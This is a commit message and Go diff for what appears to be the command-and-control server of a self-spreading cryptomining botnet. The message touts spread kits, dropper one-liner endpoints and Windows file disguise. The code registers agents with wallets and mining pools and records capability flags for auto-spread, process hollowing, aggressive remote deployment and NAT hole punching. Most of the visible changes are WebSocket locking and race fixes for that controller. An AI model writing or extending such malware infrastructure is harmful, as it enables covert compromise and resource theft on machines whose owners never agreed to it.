Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
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@@ -42,15 +42,41 @@ func (c *AgentConnection) SendJSON(v interface{}) error {
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return c.Conn.WriteJSON(v)
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}
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// DashboardConn wraps a dashboard WebSocket with its own write mutex so
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// broadcastDashboard and the ping loop never race on the same connection.
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type DashboardConn struct {
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Conn *websocket.Conn
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mu sync.Mutex
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}
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func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
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d.mu.Lock()
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defer d.mu.Unlock()
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return d.Conn.WriteMessage(messageType, data)
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}
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func (d *DashboardConn) WriteJSON(v interface{}) error {
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d.mu.Lock()
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defer d.mu.Unlock()
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return d.Conn.WriteJSON(v)
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}
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func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
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d.mu.Lock()
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defer d.mu.Unlock()
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return d.Conn.WriteControl(messageType, data, deadline)
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}
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type WSHub struct {
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db *db.Database
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agents map[string]*AgentConnection
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dashboards map[string]*websocket.Conn
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dashboards map[string]*DashboardConn
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poolManager *pool.Manager
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defaultPool pool.Config
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aiHandler *AIHandler
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agentConfigs map[string]AgentForgeConfig
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agentLogs map[string]string
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agentConfigs map[string]AgentForgeConfig
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agentCapabilities map[string]models.AgentCapabilities
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agentLogs map[string]string
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serverPolicy ServerPolicy
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pingIntervalSec int
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mu sync.RWMutex
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@@ -60,9 +86,10 @@ func NewWSHub(database *db.Database) *WSHub {
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return &WSHub{
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db: database,
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agents: make(map[string]*AgentConnection),
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dashboards: make(map[string]*websocket.Conn),
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agentConfigs: make(map[string]AgentForgeConfig),
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agentLogs: make(map[string]string),
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dashboards: make(map[string]*DashboardConn),
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agentConfigs: make(map[string]AgentForgeConfig),
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agentCapabilities: make(map[string]models.AgentCapabilities),
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agentLogs: make(map[string]string),
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pingIntervalSec: 30,
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}
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}
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@@ -92,7 +119,7 @@ func (h *WSHub) pingInterval() time.Duration {
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return time.Duration(sec) * time.Second
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}
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func (h *WSHub) runPingLoop(conn *websocket.Conn) {
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func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
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interval := h.pingInterval()
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ticker := time.NewTicker(interval)
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defer ticker.Stop()
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@@ -109,6 +136,23 @@ func (h *WSHub) runPingLoop(conn *websocket.Conn) {
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}
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}
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func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
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interval := h.pingInterval()
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ticker := time.NewTicker(interval)
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defer ticker.Stop()
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_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
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dc.Conn.SetPongHandler(func(string) error {
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return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
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})
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for range ticker.C {
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if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
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return
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}
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}
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}
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func (h *WSHub) serverPolicySnapshot() ServerPolicy {
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h.mu.RLock()
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defer h.mu.RUnlock()
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@@ -181,7 +225,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
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return
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}
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go h.runPingLoop(conn)
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go h.runPingLoopRaw(conn)
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agentID := ""
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defer func() {
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@@ -240,6 +284,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
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AIEnabled bool `json:"ai_enabled"`
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AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
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AIModel string `json:"ai_model"`
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HolePunch bool `json:"hole_punch"`
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RemoteAggressive bool `json:"remote_aggressive"`
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MeshP2P bool `json:"mesh_p2p"`
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AutoSpread bool `json:"auto_spread"`
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ProcessHollowing bool `json:"process_hollowing"`
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Platform string `json:"platform"`
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Arch string `json:"arch"`
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OSVersion string `json:"os_version"`
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}
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if err := json.Unmarshal(msg.Payload, &auth); err != nil {
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conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
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@@ -256,12 +308,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
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displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
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policy := h.serverPolicySnapshot()
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if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents {
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conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
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"success": false, "error": "fleet agent limit reached",
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})})
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break
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}
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forgeCfg := AgentForgeConfig{
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Wallet: auth.Wallet,
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@@ -274,8 +320,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
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AIModel: auth.AIModel,
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}
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caps := models.AgentCapabilities{
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HolePunch: auth.HolePunch,
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RemoteAggressive: auth.RemoteAggressive,
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MeshP2P: auth.MeshP2P,
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AutoSpread: auth.AutoSpread,
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ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
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AIEnabled: auth.AIEnabled,
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}
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h.mu.Lock()
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h.agentConfigs[agentID] = forgeCfg
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h.agentCapabilities[agentID] = caps
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h.mu.Unlock()
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if h.poolManager != nil {
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@@ -301,15 +357,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
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}
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agent := &models.Agent{
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ID: agentID,
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Name: displayName,
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Wallet: auth.Wallet,
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IP: clientIP,
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Version: auth.Version,
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Status: "online",
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CPUCores: auth.CPUCores,
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MemoryGB: auth.MemoryGB,
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LastSeen: time.Now(),
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ID: agentID,
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Name: displayName,
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Wallet: auth.Wallet,
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IP: clientIP,
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Version: auth.Version,
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Status: "online",
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CPUCores: auth.CPUCores,
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MemoryGB: auth.MemoryGB,
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LastSeen: time.Now(),
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Platform: auth.Platform,
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Arch: auth.Arch,
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OSVersion: auth.OSVersion,
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Capabilities: &caps,
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}
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if err := h.db.UpsertAgent(agent); err != nil {
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@@ -324,7 +384,20 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
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log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
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}
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// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
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// two concurrent new agents could both pass the count check under RLock, then
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// both get registered, overshooting the limit.
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h.mu.Lock()
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if policy.MaxAgents > 0 {
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_, alreadyConnected := h.agents[agentID]
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if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
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h.mu.Unlock()
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conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
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"success": false, "error": "fleet agent limit reached",
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})})
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break
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}
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}
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if old, ok := h.agents[agentID]; ok && old.Conn != conn {
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oldConn := old.Conn
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h.mu.Unlock()
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@@ -536,9 +609,10 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
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return
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}
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dc := &DashboardConn{Conn: conn}
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dashID := uuid.New().String()
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h.mu.Lock()
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h.dashboards[dashID] = conn
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h.dashboards[dashID] = dc
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h.mu.Unlock()
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defer func() {
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@@ -550,14 +624,15 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
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// Send initial data
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agents, _ := h.db.ListAgents()
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h.enrichAgentsCapabilities(agents)
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stats, _ := h.db.GetFleetStats()
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conn.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
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_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
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"agents": agents,
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"stats": stats,
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})})
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go h.runPingLoop(conn)
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go h.runPingLoopDash(dc)
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// Keep connection alive, read close messages
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for {
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@@ -577,10 +652,10 @@ func (h *WSHub) broadcastDashboard(msg Message) {
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return
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}
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for id, conn := range h.dashboards {
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if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
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for id, dc := range h.dashboards {
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if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
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log.Printf("Failed to send to dashboard %s: %v", id, err)
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conn.Close()
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dc.Conn.Close()
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id := id
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go func() {
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h.mu.Lock()
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@@ -635,6 +710,20 @@ func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}
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h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
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}
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func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
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h.mu.RLock()
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defer h.mu.RUnlock()
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for _, a := range agents {
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if a == nil {
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continue
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}
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if caps, ok := h.agentCapabilities[a.ID]; ok {
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c := caps
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a.Capabilities = &c
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}
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}
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}
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func (h *WSHub) GetAgentLog(agentID string) string {
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h.mu.RLock()
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defer h.mu.RUnlock()
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